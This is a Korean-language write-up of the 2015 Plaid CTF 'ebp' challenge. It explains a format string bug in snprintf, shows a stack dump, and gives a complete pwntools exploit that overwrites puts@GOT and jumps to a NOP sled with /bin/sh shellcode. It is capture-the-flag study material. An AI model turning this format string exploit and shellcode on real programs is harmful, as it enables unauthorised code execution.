2015 Plaid CTF EBP

32비트 바이너리고 Partial RELRO밖에 안 걸려있다.

[*] '/vagrant/ctfs/ebp'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

메인에서 전역변수 buf에 입력받는다. 근데 snprintf가 사용되는데 buf에 포맷스트링 있으면 포맷스트링 버그를 일으킬 수 있다. 일단 전역변수로 입력받으니까 Double Staged Format String Bug로 익스해야할거다.

int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}

int make_response()
{
  return snprintf(response, 1024u, buf);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  while ( 1 )
  {
    result = fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}

snprintf 실행하기 전에 스택을 보면 이렇게 되어있다.

pwndbg> x/50wx $esp
0xffffd350:	0x0804a480	0x00000400	0x0804a080	0xf7fd51b0
0xffffd360:	0xf7fe77eb	0x00000000	0xffffd388	0x0804852c
0xffffd370:	0xffffd3a8	0xf7fee010	0xf7e6915b	0x00000000
0xffffd380:	0xf7fbd000	0xf7fbd000	0xffffd3a8	0x08048557
0xffffd390:	0x0804a080	0x00000400	0xf7fbd5a0	0x00000000
0xffffd3a0:	0xf7fbd000	0xf7fbd000	0x00000000	0xf7e23637
0xffffd3b0:	0x00000001	0xffffd444	0xffffd44c	0x00000000
0xffffd3c0:	0x00000000	0x00000000	0xf7fbd000	0xf7ffdc04
0xffffd3d0:	0xf7ffd000	0x00000000	0xf7fbd000	0xf7fbd000
0xffffd3e0:	0x00000000	0xaf9aa8a5	0x945626b5	0x00000000
0xffffd3f0:	0x00000000	0x00000000	0x00000001	0x08048400
0xffffd400:	0x00000000	0xf7fee010	0xf7fe8880	0xf7ffd000

0x0804a480는 response의 주소 0x0804a080는 buf의 주소다.

익스는 0xffffd368을 보면 0xffffd388를 가르키고 있는 포인터다. 일단 0xffffd368를 puts@got로 덮으면 0xffffd388이 덮일거다. 그리고 puts@got주소를 buf+100으로 덮고 nop sled뒤에 shellcode 넣으면 puts실행될 때 쉘코드가 실행될거다.

exploit.py

from pwn import *

e = ELF('./ebp')
p = process('./ebp')

#shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
shellcode = '\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
fflush_got = 0x0804a00c
fgets_got = 0x0804a010
puts_got = 0x0804a014
snprintf_got = 0x0804a020
buf = 0x0804A080

#payload = '%{}c%n'.format('134520852')
payload = "%{}c%4$n".format(e.got['puts'])
p.sendline(payload)

payload2 = '%{}c%12$n'.format(buf+100)
payload2 += '\x90'*300
payload2 += shellcode
p.sendline(payload2)

p.interactive()